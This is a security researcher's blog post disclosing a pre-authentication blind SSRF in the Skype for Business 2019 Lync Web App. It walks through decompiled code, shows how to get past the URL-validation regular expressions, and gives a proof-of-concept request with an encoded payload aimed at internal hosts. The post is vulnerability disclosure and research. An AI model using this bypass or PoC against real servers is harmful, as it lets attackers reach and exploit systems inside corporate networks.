Skype for Business Audit Part 2 - SKYPErimeterleak
Update 2023-10-10: After a year, Microsoft decided to provide a patch for this - CVE-2023-41763
In my last blog post we talked about a new persistence technique in Skype for Business 2019 (SfB) found during my code audit. Now, I give a short code walk-through about an Pre-Auth Server-side Request Forgery (SSRF) vulnerability which could easily lead to an internet perimeter breach. But let’s start from the beginning.
We still have the same setup, i.e. an Active Directory (AD) CONTOSO.COM
with a SfB installation on a system SKYPE01
.
But this time, we’re looking for a vulnerability instead of a persistence technique for Red Teams.
Since the MSRC rejected my submission for this vulnerability with a “not meeting the bar” argument, I told them to publish a blog post instead.
We look again with InetMgr.exe
at the Application Pool and URI path configurations.
Since we mentioned the term “internet perimeter breach” above, the focus will again be on the “External Web Site” configurations.
The target we chose was the URI path /lwa
which stands for Lync Web App. The corresponding App Pool is named LyncExtFeature
.
The file system location of interest can usally be found at C:\Program Files\Skype for Business Server 2019\Web Components\LWA\Ext
.
In the Web.config
file the following declaration is made:
<defaultDocument>
<files>
<clear/>
<add value="LwaClient.aspx"/>
</files>
</defaultDocument>
The ASPX file mentioned is located at C:\Program Files\Skype for Business Server 2019\Web Components\LWA\Ext\WebPages
and the first line reads:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="LwaClient.aspx.cs" Inherits="Lync.Client.PreAuth.LwaClient" Async="true" %>
Browsing to this ASPX file is indeed possible without further authentication needed as also indicated by the PreAuth
key word being part of the namespace.
We attach dnSpy to our w3wp.exe
process with the App Pool LyncExtFeature
and load all .NET assemblies/modules into the debugger.
Looking into the class Lync.Client.PreAuth.LwaClient
reveals that it inherits from System.Web.UI.Page
so we can usually expect several methods like Page_Init
and/or Page_Load
being implemented (see any blog on “ASP.NET Page Life Cycle”).
But the most interesting implementation is an asynchronous one called PageLoadInternal()
. Several user-controlled
parameter are easily spotted in the first lines of code [1], [2].
...
if (base.Request.QueryString.Count != 0)
{
this.LwaLocale = HttpUtility.UrlDecode(base.Request.QueryString["reachLocale"]); //[1]
string joinXml = LwaClient.Base64DecodeString(base.Request.QueryString["xml"]); //[2]
...
If no query parameter xml
is provided, the following if-statement turns out to be true
[3].
...
if (string.IsNullOrEmpty(joinXml)) //[3]
{
if (Wpp.tracer.Level >= 5 && (Wpp.tracer.Flags & 1) != 0)
{
WPP_2897018b9080d7ca34b73bbf6c519b5b.WPP_p(3, 10, (IntPtr)this.GetHashCode());
}
try
{
string meetUrl = LwaClient.Base64DecodeString(base.Request.QueryString["meeturl"]); //[4]
...
The query parameter meeturl
now get evaluated at [4] and we’re almost there, looking at the SSRF.
...
if (this.CmsLWAValidateMeetUrlFlag)
{
this.ValidateMeetUrl(meetUrl); //[5]
}
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(meetUrl); //[6]
request.Accept = "Application/vnd.microsoft.lync.meeting+xml";
request.UserAgent = "LCS-Server";
using (HttpWebResponse response = (HttpWebResponse)(await request.GetResponseAsync())) //[7]
{
using (StreamReader reader = new StreamReader(response.GetResponseStream()))
{
joinXml = await reader.ReadToEndAsync();
reader.Close();
}
response.Close();
}
...
Some kind of validation in [5] seems to take place. We’ll look into this in a minute.
If the validation turns out to be successful, an HttpWebRequest
object is created [6] and fires [7]
in an asynchronous manner. If we could inject an arbitrary URL with full control including query parameters etc.,
a powerful SSRF would have been born (a blind one though). Thanks to the Base64 encoding, one doesn’t even
have to take care (a lot) on weird characters etc.
But let’s investigate the ValidateMeetUrl
[5] method first.
private void ValidateMeetUrl(string meetUrl)
{
if (Wpp.tracer.Level >= 4 && (Wpp.tracer.Flags & 1) != 0)
{
WPP_2897018b9080d7ca34b73bbf6c519b5b.WPP_p(3, 15, (IntPtr)this.GetHashCode());
}
string pattern = "(https?:\\/\\/(www\\.)|(www\\.))?.*(\\.\\w{2,4})\\/.*\\/[a-zA-Z0-9]*\\/?$"; //[8]
bool flag = Regex.IsMatch(meetUrl, pattern);
if (flag)
{
return;
}
string pattern2 = "^(https?:\\/\\/(www\\.)|(www\\.))?.*(\\.\\w{2,4})\\/Meet\\/\\?.*\\/?$"; //[9]
if (!Regex.IsMatch(meetUrl, pattern2))
...
It basically breaks down to defeat the regular expressions [8] or [9]. Intuitively, I chose the first one at [8] (but does it matter? :-P). For this kind of regex testing, there are tons of online regex testers available to play with expressions.
So it looks like the “idea” of this validation by the code author could be based on the following thoughts (I’m just guessing here!). We do not differentiate between optional match groups for this interpretation.
- Could be a valid domain name starting with
http
orhttps
(you’re stuck in theWebRequest
cast indeed) - Could contain a
www
prefix - Domain could end with an TLD of length between
2
and4
, e.g.de, com, army
- Last segment could contain an alpha-numeric sequence and we need another slash in there
So things like this should work.
What about IP addresses? Since www
is optional but constraint 3. exists: the fourth octet cannot be a single digit.
Alright, this constraint is not too hard. Enough IP addresses left to do something evil.
A bit later, I realized that this could also become optional. But see the difference between https://10.0.0.1/whatever/iwant
vs. https://10.0.0.10/whatever/iwant
? Sometimes, your mind is playing tricks on you. :-P
What about queries? Exploiting a third-party system at least should take into account arbitrary query parameters. Yes, works also fine since most web apps from my experience simply ignore additional undefined query parameters.
Of course, if you already know the Windows Domain name (e.g. obtained from one of the Skype endpoints talking NTLM),
common hostname prefixes like jira.contoso.com
are also possible. If you need some inspiration for Exploiting Blind SSRF, I highly recommend some resources by Assetnote.
After I showed this vulnerability to my teammates @codewhitesec, a result in discussion with Markus ended in an even more beautiful regex breaker (of course the previous examples might work for most cases of exploitation cases as well).
With this, we could basically control everything as needed. And since there are tons of vulnerable systems (especially in intranet corporate networks), such as routers, Jenkins, or lately VMware Workspace ONE Access (exploitable with a single GET request), this Pre-Auth Blind SSRF should indeed be seen as an internet perimeter leak threat.
Finally, what’s missing? Right, PoC||GTFO.
Our Skype server SKYPE01
has the IP address 10.137.0.27
(right). A second machine at 10.137.0.26
(left) sends the SSRF payload https://skype01.contoso.com/lwa/Webpages/LwaClient.aspx?meeturl=aHR0cDovLzEwLjEzNy4wLjI2Lz9pZD1QT0MlMjV7MTMzNyoxMzM3fSMueHgvLw==
and also provides an HTTP service so we’re able to receive HTTP requests and investigate the related log files.
For me it seemed easier to provide a nice screenshot with only two machines such that the attacker and victim machine
happens to be the same at 10.137.0.26
but it doesn’t really matter. A well-known Struts2 RCE payload (CVE-2019-0230) was sent
but any payload deliverable with a GET request is exploitable.